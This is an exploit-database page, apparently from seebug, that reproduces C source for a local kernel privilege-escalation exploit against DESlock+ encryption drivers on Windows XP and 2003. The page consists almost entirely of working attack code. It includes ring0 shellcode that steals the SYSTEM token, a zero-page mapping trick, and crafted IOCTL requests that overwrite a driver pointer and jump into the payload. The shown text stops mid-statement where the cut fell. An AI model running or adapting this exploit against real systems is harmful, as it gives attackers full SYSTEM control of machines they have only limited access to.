Lucene search
K

DESlock+ <= 3.2.6 local kernel ring0 link list zero SYSTEM Exploit

🗓️ 28 Feb 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

DESlock+ <= 3.2.6 local kernel ring0 link list zero SYSTEM Exploit. Win2k3 SP1/2 - kernel EPROCESS token switche

Code

                                                /*&nbsp;deslock-list-zero-v2.c
&nbsp;*
&nbsp;*&nbsp;Copyright&nbsp;(c)&nbsp;2008&nbsp;by&nbsp;&lt;[email protected]&gt;
&nbsp;*
&nbsp;*&nbsp;DESlock+&nbsp;&lt;=&nbsp;3.2.6&nbsp;local&nbsp;kernel&nbsp;ring0&nbsp;link&nbsp;list&nbsp;zero&nbsp;SYSTEM&nbsp;exploit
&nbsp;*&nbsp;by&nbsp;mu-b&nbsp;-&nbsp;Fri&nbsp;28&nbsp;Dec&nbsp;2007
&nbsp;*
&nbsp;*&nbsp;-&nbsp;Tested&nbsp;on:&nbsp;DLMFENC.sys&nbsp;1.0.0.26,&nbsp;DLMFDISK.sys&nbsp;1.2.0.27
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;Microsoft&nbsp;Windows&nbsp;2003&nbsp;SP2
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;Microsoft&nbsp;Windows&nbsp;XP&nbsp;SP2
&nbsp;*
&nbsp;*&nbsp;Compile:&nbsp;MinGW&nbsp;+&nbsp;-lntdll
&nbsp;*
&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;Private&nbsp;Source&nbsp;Code&nbsp;-DO&nbsp;NOT&nbsp;DISTRIBUTE&nbsp;-
&nbsp;*&nbsp;http://www.digit-labs.org/&nbsp;--&nbsp;Digit-Labs&nbsp;2008!@$!
&nbsp;*/

#include&nbsp;&lt;stdio.h&gt;
#include&nbsp;&lt;stdlib.h&gt;

#include&nbsp;&lt;windows.h&gt;
#include&nbsp;&lt;ddk/ntapi.h&gt;

#define&nbsp;DLMFENC_IOCTL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x0FA4204C
#define&nbsp;DLMFENC_FLAG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0xC001D00D
#define&nbsp;DLKFDISK_R_IOCTL&nbsp;&nbsp;0x80002008
#define&nbsp;DLKFDISK_SLOT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x00000C5C

#define&nbsp;ARG_SIZE(a)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((a)/sizeof&nbsp;(void&nbsp;*))

static&nbsp;unsigned&nbsp;char&nbsp;win32_fixup[]&nbsp;=
&nbsp;&nbsp;&quot;\x53&quot;
&nbsp;&nbsp;&quot;\xeb\x0e&quot;
&nbsp;&nbsp;/*&nbsp;_fixup_copy&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\x5e&quot;
&nbsp;&nbsp;&quot;\xbf\x5c\x0c\x00\x00&quot;
&nbsp;&nbsp;&quot;\x31\xc9&quot;
&nbsp;&nbsp;&quot;\xb1\x04&quot;
&nbsp;&nbsp;&quot;\xf3\xa5&quot;
&nbsp;&nbsp;&quot;\xeb\x15&quot;
&nbsp;&nbsp;/*&nbsp;_fixup_blk&nbsp;&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\xe8\xed\xff\xff\xff&quot;
&nbsp;&nbsp;&quot;\x64\x0a\x00\x00&quot;
&nbsp;&nbsp;&quot;\xd3\x0a\x00\x00&quot;
&nbsp;&nbsp;&quot;\x2a\x0a\x00\x00&quot;
&nbsp;&nbsp;&quot;\x49\x0a\x00\x00&quot;;

/*&nbsp;Win2k3&nbsp;SP1/2&nbsp;-&nbsp;kernel&nbsp;EPROCESS&nbsp;token&nbsp;switcher
&nbsp;*&nbsp;by&nbsp;mu-b&nbsp;&lt;[email protected]&gt;
&nbsp;*/
static&nbsp;unsigned&nbsp;char&nbsp;win2k3_ring0_shell[]&nbsp;=
&nbsp;&nbsp;/*&nbsp;_ring0&nbsp;*/
&nbsp;&nbsp;&quot;\xb8\x24\xf1\xdf\xff&quot;
&nbsp;&nbsp;&quot;\x8b\x00&quot;
&nbsp;&nbsp;&quot;\x8b\xb0\x18\x02\x00\x00&quot;
&nbsp;&nbsp;&quot;\x89\xf0&quot;
&nbsp;&nbsp;/*&nbsp;_sys_eprocess_loop&nbsp;&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\x8b\x98\x94\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x81\xfb\x04\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x74\x11&quot;
&nbsp;&nbsp;&quot;\x8b\x80\x9c\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x2d\x98\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x39\xf0&quot;
&nbsp;&nbsp;&quot;\x75\xe3&quot;
&nbsp;&nbsp;&quot;\xeb\x21&quot;
&nbsp;&nbsp;/*&nbsp;_sys_eprocess_found&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\x89\xc1&quot;
&nbsp;&nbsp;&quot;\x89\xf0&quot;

&nbsp;&nbsp;/*&nbsp;_cmd_eprocess_loop&nbsp;&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\x8b\x98\x94\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x81\xfb\x00\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x74\x10&quot;
&nbsp;&nbsp;&quot;\x8b\x80\x9c\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x2d\x98\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x39\xf0&quot;
&nbsp;&nbsp;&quot;\x75\xe3&quot;
&nbsp;&nbsp;/*&nbsp;_not_found&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\xcc&quot;
&nbsp;&nbsp;/*&nbsp;_cmd_eprocess_found
&nbsp;&nbsp;&nbsp;*&nbsp;_ring0_end&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/

&nbsp;&nbsp;/*&nbsp;copy&nbsp;tokens!$%!&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\x8b\x89\xd8\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x89\x88\xd8\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x90&quot;;

static&nbsp;unsigned&nbsp;char&nbsp;winxp_ring0_shell[]&nbsp;=
&nbsp;&nbsp;/*&nbsp;_ring0&nbsp;*/
&nbsp;&nbsp;&quot;\xb8\x24\xf1\xdf\xff&quot;
&nbsp;&nbsp;&quot;\x8b\x00&quot;
&nbsp;&nbsp;&quot;\x8b\x70\x44&quot;
&nbsp;&nbsp;&quot;\x89\xf0&quot;
&nbsp;&nbsp;/*&nbsp;_sys_eprocess_loop&nbsp;&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\x8b\x98\x84\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x81\xfb\x04\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x74\x11&quot;
&nbsp;&nbsp;&quot;\x8b\x80\x8c\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x2d\x88\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x39\xf0&quot;
&nbsp;&nbsp;&quot;\x75\xe3&quot;
&nbsp;&nbsp;&quot;\xeb\x21&quot;
&nbsp;&nbsp;/*&nbsp;_sys_eprocess_found&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\x89\xc1&quot;
&nbsp;&nbsp;&quot;\x89\xf0&quot;

&nbsp;&nbsp;/*&nbsp;_cmd_eprocess_loop&nbsp;&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\x8b\x98\x84\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x81\xfb\x00\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x74\x10&quot;
&nbsp;&nbsp;&quot;\x8b\x80\x8c\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x2d\x88\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x39\xf0&quot;
&nbsp;&nbsp;&quot;\x75\xe3&quot;
&nbsp;&nbsp;/*&nbsp;_not_found&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\xcc&quot;
&nbsp;&nbsp;/*&nbsp;_cmd_eprocess_found
&nbsp;&nbsp;&nbsp;*&nbsp;_ring0_end&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/

&nbsp;&nbsp;/*&nbsp;copy&nbsp;tokens!$%!&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/
&nbsp;&nbsp;&quot;\x8b\x89\xc8\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x89\x88\xc8\x00\x00\x00&quot;
&nbsp;&nbsp;&quot;\x90&quot;;

static&nbsp;unsigned&nbsp;char&nbsp;win32_ret[]&nbsp;=
&nbsp;&nbsp;&quot;\x5b&quot;
&nbsp;&nbsp;&quot;\x31\xff&quot;
&nbsp;&nbsp;&quot;\xb8\xdc\x0b\x00\x00&quot;
&nbsp;&nbsp;&quot;\xff\xe0&quot;
&nbsp;&nbsp;&quot;\xcc&quot;;

struct&nbsp;ioctl_req&nbsp;{
&nbsp;&nbsp;void&nbsp;*arg[ARG_SIZE(0x20)];
};

static&nbsp;PCHAR
fixup_ring0_shell&nbsp;(PVOID&nbsp;base,&nbsp;DWORD&nbsp;ppid,&nbsp;DWORD&nbsp;*zlen)
{
&nbsp;&nbsp;DWORD&nbsp;dwVersion,&nbsp;dwMajorVersion,&nbsp;dwMinorVersion;

&nbsp;&nbsp;dwVersion&nbsp;=&nbsp;GetVersion&nbsp;();
&nbsp;&nbsp;dwMajorVersion&nbsp;=&nbsp;(DWORD)&nbsp;(LOBYTE(LOWORD(dwVersion)));
&nbsp;&nbsp;dwMinorVersion&nbsp;=&nbsp;(DWORD)&nbsp;(HIBYTE(LOWORD(dwVersion)));

&nbsp;&nbsp;if&nbsp;(dwMajorVersion&nbsp;!=&nbsp;5)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf&nbsp;(stderr,&nbsp;&quot;*&nbsp;GetVersion,&nbsp;unsupported&nbsp;version\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(EXIT_FAILURE);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;*(PDWORD)&nbsp;&amp;win32_fixup[5]&nbsp;&nbsp;+=&nbsp;(DWORD)&nbsp;base;
&nbsp;&nbsp;*(PDWORD)&nbsp;&amp;win32_fixup[22]&nbsp;+=&nbsp;(DWORD)&nbsp;base;
&nbsp;&nbsp;*(PDWORD)&nbsp;&amp;win32_fixup[26]&nbsp;+=&nbsp;(DWORD)&nbsp;base;
&nbsp;&nbsp;*(PDWORD)&nbsp;&amp;win32_fixup[30]&nbsp;+=&nbsp;(DWORD)&nbsp;base;
&nbsp;&nbsp;*(PDWORD)&nbsp;&amp;win32_fixup[34]&nbsp;+=&nbsp;(DWORD)&nbsp;base;

&nbsp;&nbsp;*(PDWORD)&nbsp;&amp;win32_ret[4]&nbsp;+=&nbsp;(DWORD)&nbsp;base;

&nbsp;&nbsp;switch&nbsp;(dwMinorVersion)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;1:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*zlen&nbsp;=&nbsp;sizeof&nbsp;winxp_ring0_shell&nbsp;-&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(PDWORD)&nbsp;&amp;winxp_ring0_shell[55]&nbsp;=&nbsp;ppid;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(winxp_ring0_shell);

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;2:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*zlen&nbsp;=&nbsp;sizeof&nbsp;win2k3_ring0_shell&nbsp;-&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(PDWORD)&nbsp;&amp;win2k3_ring0_shell[58]&nbsp;=&nbsp;ppid;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(win2k3_ring0_shell);

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf&nbsp;(stderr,&nbsp;&quot;*&nbsp;GetVersion,&nbsp;unsupported&nbsp;version\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(EXIT_FAILURE);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;return&nbsp;(NULL);
}

static&nbsp;PVOID
get_module_base&nbsp;(void)
{
&nbsp;&nbsp;PSYSTEM_MODULE_INFORMATION_ENTRY&nbsp;pModuleBase;
&nbsp;&nbsp;PSYSTEM_MODULE_INFORMATION&nbsp;pModuleInfo;
&nbsp;&nbsp;DWORD&nbsp;i,&nbsp;num_modules,&nbsp;status,&nbsp;rlen;
&nbsp;&nbsp;PVOID&nbsp;result;

&nbsp;&nbsp;status&nbsp;=&nbsp;NtQuerySystemInformation&nbsp;(SystemModuleInformation,&nbsp;NULL,&nbsp;0,&nbsp;&amp;rlen);
&nbsp;&nbsp;if&nbsp;(status&nbsp;!=&nbsp;STATUS_INFO_LENGTH_MISMATCH)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf&nbsp;(stderr,&nbsp;&quot;*&nbsp;NtQuerySystemInformation&nbsp;failed,&nbsp;0x%08X\n&quot;,&nbsp;status);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(EXIT_FAILURE);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;pModuleInfo&nbsp;=&nbsp;(PSYSTEM_MODULE_INFORMATION)&nbsp;HeapAlloc&nbsp;(GetProcessHeap&nbsp;(),&nbsp;HEAP_ZERO_MEMORY,&nbsp;rlen);

&nbsp;&nbsp;status&nbsp;=&nbsp;NtQuerySystemInformation&nbsp;(SystemModuleInformation,&nbsp;pModuleInfo,&nbsp;rlen,&nbsp;&amp;rlen);
&nbsp;&nbsp;if&nbsp;(status&nbsp;!=&nbsp;STATUS_SUCCESS)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf&nbsp;(stderr,&nbsp;&quot;*&nbsp;NtQuerySystemInformation&nbsp;failed,&nbsp;0x%08X\n&quot;,&nbsp;status);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(EXIT_FAILURE);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;num_modules&nbsp;=&nbsp;pModuleInfo-&gt;Count;
&nbsp;&nbsp;pModuleBase&nbsp;=&nbsp;&amp;pModuleInfo-&gt;Module[0];
&nbsp;&nbsp;result&nbsp;=&nbsp;NULL;

&nbsp;&nbsp;for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;num_modules;&nbsp;i++,&nbsp;pModuleBase++)
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(strstr&nbsp;(pModuleBase-&gt;ImageName,&nbsp;&quot;dlkfdisk.sys&quot;))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;=&nbsp;pModuleBase-&gt;Base;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;HeapFree&nbsp;(GetProcessHeap&nbsp;(),&nbsp;HEAP_NO_SERIALIZE,&nbsp;pModuleInfo);

&nbsp;&nbsp;return&nbsp;(result);
}

static&nbsp;void
xor_mask_req&nbsp;(struct&nbsp;ioctl_req&nbsp;*req)
{
&nbsp;&nbsp;DWORD&nbsp;i,&nbsp;pid;
&nbsp;&nbsp;PCHAR&nbsp;ptr;

&nbsp;&nbsp;pid&nbsp;=&nbsp;GetCurrentProcessId&nbsp;();
&nbsp;&nbsp;for&nbsp;(i&nbsp;=&nbsp;0,&nbsp;ptr&nbsp;=&nbsp;(PCHAR)&nbsp;req;&nbsp;i&nbsp;&lt;&nbsp;0x0C;&nbsp;i++,&nbsp;ptr++)
&nbsp;&nbsp;&nbsp;&nbsp;*ptr&nbsp;^=&nbsp;pid;
}

int
main&nbsp;(int&nbsp;argc,&nbsp;char&nbsp;**argv)
{
&nbsp;&nbsp;struct&nbsp;ioctl_req&nbsp;req;
&nbsp;&nbsp;DWORD&nbsp;dResult,&nbsp;rlen,&nbsp;zpage_len,&nbsp;zlen,&nbsp;ppid;
&nbsp;&nbsp;LPVOID&nbsp;zpage,&nbsp;zbuf,&nbsp;base;
&nbsp;&nbsp;CHAR&nbsp;rbuf[64];
&nbsp;&nbsp;HANDLE&nbsp;hFile;
&nbsp;&nbsp;BOOL&nbsp;bResult;

&nbsp;&nbsp;printf&nbsp;(&quot;DESlock+&nbsp;&lt;=&nbsp;3.2.6&nbsp;local&nbsp;kernel&nbsp;ring0&nbsp;link&nbsp;list&nbsp;zero&nbsp;SYSTEM&nbsp;exploit\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;by:&nbsp;&lt;[email protected]&gt;\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;http://www.digit-labs.org/&nbsp;--&nbsp;Digit-Labs&nbsp;2008!@$!\n\n&quot;);

&nbsp;&nbsp;if&nbsp;(argc&nbsp;&lt;=&nbsp;1)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf&nbsp;(stderr,&nbsp;&quot;Usage:&nbsp;%s&nbsp;&lt;processid&nbsp;to&nbsp;elevate&gt;\n&quot;,&nbsp;argv[0]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(EXIT_SUCCESS);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;ppid&nbsp;=&nbsp;atoi&nbsp;(argv[1]);

&nbsp;&nbsp;hFile&nbsp;=&nbsp;CreateFileA&nbsp;(&quot;\\\\.\\DLKPFSD_Device&quot;,&nbsp;FILE_EXECUTE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FILE_SHARE_READ|FILE_SHARE_WRITE,&nbsp;NULL,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OPEN_EXISTING,&nbsp;0,&nbsp;NULL);
&nbsp;&nbsp;if&nbsp;(hFile&nbsp;==&nbsp;INVALID_HANDLE_VALUE)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf&nbsp;(stderr,&nbsp;&quot;*&nbsp;CreateFileA&nbsp;failed,&nbsp;%d\n&quot;,&nbsp;hFile);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(EXIT_FAILURE);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;zpage_len&nbsp;=&nbsp;0x7FFF;
&nbsp;&nbsp;zpage&nbsp;=&nbsp;(LPVOID)&nbsp;0x00000001;
&nbsp;&nbsp;dResult&nbsp;=&nbsp;NtAllocateVirtualMemory&nbsp;((HANDLE)&nbsp;-1,&nbsp;&amp;zpage,&nbsp;0,&nbsp;&amp;zpage_len,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,&nbsp;PAGE_EXECUTE_READWRITE);
&nbsp;&nbsp;if&nbsp;(dResult&nbsp;!=&nbsp;STATUS_SUCCESS)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf&nbsp;(stderr,&nbsp;&quot;*&nbsp;NtAllocateVirtualMemory&nbsp;failed\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(EXIT_FAILURE);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;printf&nbsp;(&quot;*&nbsp;allocated&nbsp;page:&nbsp;0x%08X&nbsp;[%d-bytes]\n&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zpage,&nbsp;0x7FFF);

&nbsp;&nbsp;base&nbsp;=&nbsp;get_module_base&nbsp;();
&nbsp;&nbsp;if&nbsp;(base&nbsp;==&nbsp;NULL)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf&nbsp;(stderr,&nbsp;&quot;*&nbsp;unable&nbsp;to&nbsp;find&nbsp;dlkfdisk.sys&nbsp;base\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(EXIT_FAILURE);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;printf&nbsp;(&quot;*&nbsp;dlkfdisk.sys&nbsp;base:&nbsp;0x%08X\n&quot;,&nbsp;base);

&nbsp;&nbsp;memset&nbsp;(zpage,&nbsp;0xCC,&nbsp;0x7FFF);
&nbsp;&nbsp;zbuf&nbsp;=&nbsp;fixup_ring0_shell&nbsp;(base,&nbsp;ppid,&nbsp;&amp;zlen);
&nbsp;&nbsp;memcpy&nbsp;((LPVOID)&nbsp;zpage,&nbsp;win32_fixup,&nbsp;sizeof&nbsp;(win32_fixup)&nbsp;-&nbsp;1);
&nbsp;&nbsp;memcpy&nbsp;((LPVOID)&nbsp;(zpage&nbsp;+&nbsp;sizeof&nbsp;(win32_fixup)&nbsp;-&nbsp;1),&nbsp;zbuf,&nbsp;zlen);
&nbsp;&nbsp;memcpy&nbsp;((LPVOID)&nbsp;(zpage&nbsp;+&nbsp;sizeof&nbsp;(win32_fixup)&nbsp;+&nbsp;zlen&nbsp;-&nbsp;1),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;win32_ret,&nbsp;sizeof&nbsp;(win32_ret)&nbsp;-&nbsp;1);

&nbsp;&nbsp;memset&nbsp;(&amp;req,&nbsp;0,&nbsp;sizeof&nbsp;req);
&nbsp;&nbsp;req.arg[0]&nbsp;=&nbsp;(void&nbsp;*)&nbsp;DLMFENC_FLAG;
&nbsp;&nbsp;req.arg[1]&nbsp;=&nbsp;(void&nbsp;*)&nbsp;0x12;
&nbsp;&nbsp;req.arg[2]&nbsp;=&nbsp;(void&nbsp;*)&nbsp;(base&nbsp;+&nbsp;DLKFDISK_SLOT);&nbsp;/*&nbsp;overwrite&nbsp;pointer&nbsp;*/

&nbsp;&nbsp;printf&nbsp;(&quot;*&nbsp;overwriting&nbsp;[@0x%08X&nbsp;%d-bytes]..&nbsp;&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;base&nbsp;+&nbsp;DLKFDISK_SLOT,&nbsp;16);
&nbsp;&nbsp;xor_mask_req&nbsp;(&amp;req);
&nbsp;&nbsp;bResult&nbsp;=&nbsp;DeviceIoControl&nbsp;(hFile,&nbsp;DLMFENC_IOCTL,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;req,&nbsp;sizeof&nbsp;req,&nbsp;&amp;req,&nbsp;sizeof&nbsp;req,&nbsp;&amp;rlen,&nbsp;0);
&nbsp;&nbsp;if&nbsp;(!bResult)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf&nbsp;(stderr,&nbsp;&quot;DeviceIoControl&nbsp;failed\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(EXIT_FAILURE);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;printf&nbsp;(&quot;done\n&quot;);

&nbsp;&nbsp;CloseHandle&nbsp;(hFile);

&nbsp;&nbsp;hFile&nbsp;=&nbsp;CreateFileA&nbsp;(&quot;\\\\.\\DLKFDisk_Control&quot;,&nbsp;FILE_EXECUTE,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FILE_SHARE_READ|FILE_SHARE_WRITE,&nbsp;NULL,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OPEN_EXISTING,&nbsp;0,&nbsp;NULL);
&nbsp;&nbsp;if&nbsp;(hFile&nbsp;==&nbsp;INVALID_HANDLE_VALUE)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf&nbsp;(stderr,&nbsp;&quot;*&nbsp;CreateFileA&nbsp;failed,&nbsp;%d\n&quot;,&nbsp;hFile);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(EXIT_FAILURE);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;/*&nbsp;jump&nbsp;to&nbsp;our&nbsp;address&nbsp;:)&nbsp;*/
&nbsp;&nbsp;printf&nbsp;(&quot;*&nbsp;jumping..&nbsp;&quot;);
&nbsp;&nbsp;bResult&nbsp;=&nbsp;DeviceIoControl&nbsp;(hFile,&nbsp;DLKFDISK_R_IOCTL,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;rbuf,&nbsp;sizeof&nbsp;rbuf,&nbsp;&amp;rbuf,&nbsp;sizeof&nbsp;rbuf,&nbsp;&amp;rlen,&nbsp;0);
&nbsp;&nbsp;if&nbsp;(!bResult)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf&nbsp;(stderr,&nbsp;&quot;DeviceIoControl&nbsp;failed\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(EXIT_FAILURE);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;printf&nbsp;(&quot;done\n\n&quot;
